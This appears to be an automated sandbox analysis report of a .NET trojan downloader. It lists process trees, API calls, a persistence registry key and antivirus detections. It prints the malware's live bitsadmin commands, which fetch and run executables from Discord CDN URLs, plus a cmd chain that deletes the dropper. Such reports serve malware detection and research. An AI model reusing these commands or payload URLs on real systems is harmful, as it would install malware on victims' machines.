Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	June 11, 2021, 12:06 p.m.	June 11, 2021, 12:17 p.m.

Size	44.0KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`bbcb6f6fdf6a96a19d47dc05f30b1d8c`
SHA256	`968eb997bd4ef4517dbb82a7c348fe0b6e015517ea429b7949618b8a0fef11a1`
CRC32	`85C709CD`
ssdeep	`384:hh60hi3XSqgqzn/rwjLOufanNb5wACtQMyB6WMWeYrptYcFmVc03K:hhe3Xv/rkyuYxtCtGB6O1tYcFmVc6K`
PDB Path	E:\Downloads\1 (1)\obj\Release\cmd.pdb
Yara	PE_Header_Zero - PE File Signature Is_DotNET_EXE - (no description) OS_Processor_Check_Zero - OS Processor Check IsPE32 - (no description)

cmd.exe "C:\Users\test22\AppData\Local\Temp\cmd.exe"
1896
- bitsadmin.exe "C:\Windows\System32\bitsadmin.exe" /transfer 8 https://cdn.discordapp.com/attachments/829281619470712862/849290836800700426/t.exe C:\Users\test22\AppData\Local\Temp\t.exe
  2800
- t.exe "C:\Users\test22\AppData\Local\Temp\t.exe"
  2200
  - cmd.exe "C:\Users\test22\AppData\Local\Temp\cmd.exe" /C TIMEOUT /T 2 & del "C:\Users\test22\AppData\Local\Temp\t.exe" & TIMEOUT /T 2 & "C:\Users\test22\AppData\Roaming\conhost.exe"
    2832
    - bitsadmin.exe "C:\Windows\System32\bitsadmin.exe" /transfer 8 https://cdn.discordapp.com/attachments/829281619470712862/849290836800700426/t.exe C:\Users\test22\AppData\Local\Temp\t.exe
      1032
    - t.exe "C:\Users\test22\AppData\Local\Temp\t.exe"
      2328
      - dw20.exe dw20.exe -x -s 440
        1472
    - bitsadmin.exe "C:\Windows\System32\bitsadmin.exe" /transfer 8 https://cdn.discordapp.com/attachments/829281619470712862/849291451929329674/p.exe C:\Users\test22\AppData\Local\Temp\p.exe
      2140
    - t.exe "C:\Users\test22\AppData\Local\Temp\t.exe"
      2120
- bitsadmin.exe "C:\Windows\System32\bitsadmin.exe" /transfer 8 https://cdn.discordapp.com/attachments/829281619470712862/849291451929329674/p.exe C:\Users\test22\AppData\Local\Temp\p.exe
  2764
- t.exe "C:\Users\test22\AppData\Local\Temp\t.exe"
  1420

Name	Response	Post-Analysis Lookup
cdn.discordapp.com	A 162.159.135.233 A 162.159.134.233 A 162.159.129.233 A 162.159.130.233 A 162.159.133.233	162.159.129.233

IP Address	Status	Action
162.159.135.233	Active	Moloch
164.124.101.2	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49200 -> 162.159.135.233:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLSv1 192.168.56.101:49200 162.159.135.233:443	C=US, O=Cloudflare, Inc., CN=Cloudflare Inc RSA CA-2	C=US, ST=CA, L=San Francisco, O=Cloudflare, Inc., CN=sni.cloudflaressl.com	a6:26:df:21:b9:4f:a7:fb:ae:8d:87:ce:fb:7d:2b:c6:50:8b:ff:da

Queries for the computername (2 events)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameA June 11, 2021, 12:09 p.m.	computer_name: TEST22-PC	1	1	0
GetComputerNameW June 11, 2021, 12:09 p.m.	computer_name: TEST22-PC	1	1	0

Checks if process is being debugged by a debugger (8 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent June 11, 2021, 12:06 p.m.			0	0
IsDebuggerPresent June 11, 2021, 12:06 p.m.			0	0
IsDebuggerPresent June 11, 2021, 12:09 p.m.			0	0
IsDebuggerPresent June 11, 2021, 12:09 p.m.			0	0
IsDebuggerPresent June 11, 2021, 12:09 p.m.			0	0
IsDebuggerPresent June 11, 2021, 12:09 p.m.			0	0
IsDebuggerPresent June 11, 2021, 12:09 p.m.			0	0
IsDebuggerPresent June 11, 2021, 12:09 p.m.			0	0

Command line console output was observed (50 out of 311 events)

Time & API	Arguments	Status	Return
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: BITSADMIN version 3.0 [ 7.5.7601 ] console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: BITS administration utility. console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: (C) Copyright 2000-2006 Microsoft Corp. console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: BITSAdmin is deprecated and is not guaranteed to be available in future versions of Windows. console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: Administrative tools for the BITS service are now provided by BITS PowerShell cmdlets. console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: DISPLAY: ' console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: TYPE: console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: DOWNLOAD console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: STATE: console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: CONNECTING console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: PRIORITY: console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: NORMAL console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: FILES: console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: BYTES: console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: 0 / UNKNOWN console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: TRANSFER RATE: console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: 0.00 B/S console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: DISPLAY: ' console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: TYPE: console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: DOWNLOAD console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: STATE: console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: CONNECTING console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: PRIORITY: console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: NORMAL console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: FILES: console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: BYTES: console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: TRANSFER RATE: console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: 0.00 B/S console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: DISPLAY: ' console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: TYPE: console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: DOWNLOAD console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: STATE: console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: TRANSFERRING console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: PRIORITY: console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: NORMAL console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: FILES: console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: BYTES: console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: TRANSFER RATE: console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: 533.21 B/S console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: TIME REMAINING: console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: 43 Seconds console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: DISPLAY: ' console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: TYPE: console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: DOWNLOAD console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: STATE: console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: TRANSFERRING console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: PRIORITY: console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: NORMAL console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: FILES: console_handle: 0x00000007	1	1
WriteConsoleW June 11, 2021, 12:06 p.m.	buffer: BYTES: console_handle: 0x00000007	1	1

This executable has a PDB path (1 event)

pdb_path

E:\Downloads\1 (1)\obj\Release\cmd.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx June 11, 2021, 12:06 p.m.		1	1	0

Performs some HTTP requests (4 events)

request	HEAD https://cdn.discordapp.com/attachments/829281619470712862/849290836800700426/t.exe
request	GET https://cdn.discordapp.com/attachments/829281619470712862/849290836800700426/t.exe
request	HEAD https://cdn.discordapp.com/attachments/829281619470712862/849291451929329674/p.exe
request	GET https://cdn.discordapp.com/attachments/829281619470712862/849291451929329674/p.exe

Allocates read-write-execute memory (usually to unpack itself) (50 out of 205 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory June 11, 2021, 12:06 p.m.	process_identifier: 1896 region_size: 262144 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00340000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 11, 2021, 12:06 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00340000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory June 11, 2021, 12:06 p.m.	process_identifier: 1896 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72741000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 11, 2021, 12:06 p.m.	process_identifier: 1896 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72742000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 11, 2021, 12:06 p.m.	process_identifier: 1896 region_size: 2031616 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02050000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 11, 2021, 12:06 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02200000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 11, 2021, 12:06 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003f2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 11, 2021, 12:06 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00425000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 11, 2021, 12:06 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0042b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 11, 2021, 12:06 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00427000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 11, 2021, 12:06 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0040c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 11, 2021, 12:06 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x009f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 11, 2021, 12:06 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0041a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 11, 2021, 12:06 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00417000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 11, 2021, 12:09 p.m.	process_identifier: 2200 region_size: 2162688 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000670000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 11, 2021, 12:09 p.m.	process_identifier: 2200 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000800000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 11, 2021, 12:09 p.m.	process_identifier: 2200 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1271000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 11, 2021, 12:09 p.m.	process_identifier: 2200 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef14ee000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 11, 2021, 12:09 p.m.	process_identifier: 2200 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef14ee000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 11, 2021, 12:09 p.m.	process_identifier: 2200 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef14ef000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 11, 2021, 12:09 p.m.	process_identifier: 2200 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef14ef000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 11, 2021, 12:09 p.m.	process_identifier: 2200 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef14ef000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 11, 2021, 12:09 p.m.	process_identifier: 2200 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef14ef000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 11, 2021, 12:09 p.m.	process_identifier: 2200 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef14ef000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 11, 2021, 12:09 p.m.	process_identifier: 2200 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef14ef000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 11, 2021, 12:09 p.m.	process_identifier: 2200 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef14ef000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 11, 2021, 12:09 p.m.	process_identifier: 2200 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef14ef000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 11, 2021, 12:09 p.m.	process_identifier: 2200 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef14f0000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 11, 2021, 12:09 p.m.	process_identifier: 2200 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef14f0000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 11, 2021, 12:09 p.m.	process_identifier: 2200 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef14f0000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 11, 2021, 12:09 p.m.	process_identifier: 2200 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef14f0000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 11, 2021, 12:09 p.m.	process_identifier: 2200 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef14f0000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 11, 2021, 12:09 p.m.	process_identifier: 2200 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef14f1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 11, 2021, 12:09 p.m.	process_identifier: 2200 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef14f1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 11, 2021, 12:09 p.m.	process_identifier: 2200 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef14f1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 11, 2021, 12:09 p.m.	process_identifier: 2200 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef14f1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 11, 2021, 12:09 p.m.	process_identifier: 2200 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef14ee000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 11, 2021, 12:09 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00042000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 11, 2021, 12:09 p.m.	process_identifier: 2200 region_size: 589824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff20000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 11, 2021, 12:09 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 11, 2021, 12:09 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 11, 2021, 12:09 p.m.	process_identifier: 2200 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 11, 2021, 12:09 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 11, 2021, 12:09 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000fa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 11, 2021, 12:09 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00032000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 11, 2021, 12:09 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00043000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 11, 2021, 12:09 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff0010a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 11, 2021, 12:09 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00132000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 11, 2021, 12:09 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff0010d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 11, 2021, 12:09 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff0004c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1

Creates a suspicious process (2 events)

cmdline	cmd.exe /C TIMEOUT /T 2 & del "C:\Users\test22\AppData\Local\Temp\t.exe" & TIMEOUT /T 2 & "C:\Users\test22\AppData\Roaming\conhost.exe"
cmdline	"C:\Users\test22\AppData\Local\Temp\cmd.exe" /C TIMEOUT /T 2 & del "C:\Users\test22\AppData\Local\Temp\t.exe" & TIMEOUT /T 2 & "C:\Users\test22\AppData\Roaming\conhost.exe"

A process created a hidden window (5 events)

Time & API	Arguments	Status	Return
ShellExecuteExW June 11, 2021, 12:06 p.m.	show_type: 0 filepath_r: bitsadmin.exe parameters: /transfer 8 https://cdn.discordapp.com/attachments/829281619470712862/849290836800700426/t.exe C:\Users\test22\AppData\Local\Temp\t.exe filepath: bitsadmin.exe	1	1
ShellExecuteExW June 11, 2021, 12:06 p.m.	show_type: 0 filepath_r: bitsadmin.exe parameters: /transfer 8 https://cdn.discordapp.com/attachments/829281619470712862/849291451929329674/p.exe C:\Users\test22\AppData\Local\Temp\p.exe filepath: bitsadmin.exe	1	1
ShellExecuteExW June 11, 2021, 12:09 p.m.	show_type: 0 filepath_r: cmd.exe parameters: /C TIMEOUT /T 2 & del "C:\Users\test22\AppData\Local\Temp\t.exe" & TIMEOUT /T 2 & "C:\Users\test22\AppData\Roaming\conhost.exe" filepath: cmd.exe	1	1
ShellExecuteExW June 11, 2021, 12:09 p.m.	show_type: 0 filepath_r: bitsadmin.exe parameters: /transfer 8 https://cdn.discordapp.com/attachments/829281619470712862/849290836800700426/t.exe C:\Users\test22\AppData\Local\Temp\t.exe filepath: bitsadmin.exe	1	1
ShellExecuteExW June 11, 2021, 12:09 p.m.	show_type: 0 filepath_r: bitsadmin.exe parameters: /transfer 8 https://cdn.discordapp.com/attachments/829281619470712862/849291451929329674/p.exe C:\Users\test22\AppData\Local\Temp\p.exe filepath: bitsadmin.exe	1	1

Uses Windows utilities for basic Windows functionality (2 events)

cmdline	cmd.exe /C TIMEOUT /T 2 & del "C:\Users\test22\AppData\Local\Temp\t.exe" & TIMEOUT /T 2 & "C:\Users\test22\AppData\Roaming\conhost.exe"
cmdline	"C:\Users\test22\AppData\Local\Temp\cmd.exe" /C TIMEOUT /T 2 & del "C:\Users\test22\AppData\Local\Temp\t.exe" & TIMEOUT /T 2 & "C:\Users\test22\AppData\Roaming\conhost.exe"

Installs itself for autorun at Windows startup (2 events)

reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Java Updater				reg_value	C:\Users\test22\AppData\Roaming\conhost.exe
reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Java Updater				reg_value	C:\Users\test22\AppData\Roaming\conhost.exe

Uses suspicious command line tools or Windows utilities (4 events)

cmdline	bitsadmin.exe /transfer 8 https://cdn.discordapp.com/attachments/829281619470712862/849290836800700426/t.exe C:\Users\test22\AppData\Local\Temp\t.exe
cmdline	bitsadmin.exe /transfer 8 https://cdn.discordapp.com/attachments/829281619470712862/849291451929329674/p.exe C:\Users\test22\AppData\Local\Temp\p.exe
cmdline	"C:\Windows\System32\bitsadmin.exe" /transfer 8 https://cdn.discordapp.com/attachments/829281619470712862/849290836800700426/t.exe C:\Users\test22\AppData\Local\Temp\t.exe
cmdline	"C:\Windows\System32\bitsadmin.exe" /transfer 8 https://cdn.discordapp.com/attachments/829281619470712862/849291451929329674/p.exe C:\Users\test22\AppData\Local\Temp\p.exe

File has been identified by 37 AntiVirus engines on VirusTotal as malicious (37 events)

MicroWorld-eScan	Trojan.GenericKD.46419057
CAT-QuickHeal	TrojanDownloader.MSIL
ALYac	Trojan.GenericKD.46419057
Cylance	Unsafe
Sangfor	Trojan.Win32.Save.a
Alibaba	TrojanDownloader:MSIL/Dapato.bb3412f6
Symantec	ML.Attribute.HighConfidence
ESET-NOD32	a variant of MSIL/TrojanDownloader.Agent.IAR
APEX	Malicious
Avast	Win32:MalwareX-gen [Trj]
Kaspersky	HEUR:Trojan-Downloader.MSIL.Agent.gen
BitDefender	Trojan.GenericKD.46419057
Paloalto	generic.ml
AegisLab	Trojan.MSIL.Agent.a!c
Tencent	Msil.Trojan-downloader.Agent.Pjdr
Ad-Aware	Trojan.GenericKD.46419057
TrendMicro	TROJ_GEN.R002C0WF621
McAfee-GW-Edition	Artemis!Trojan
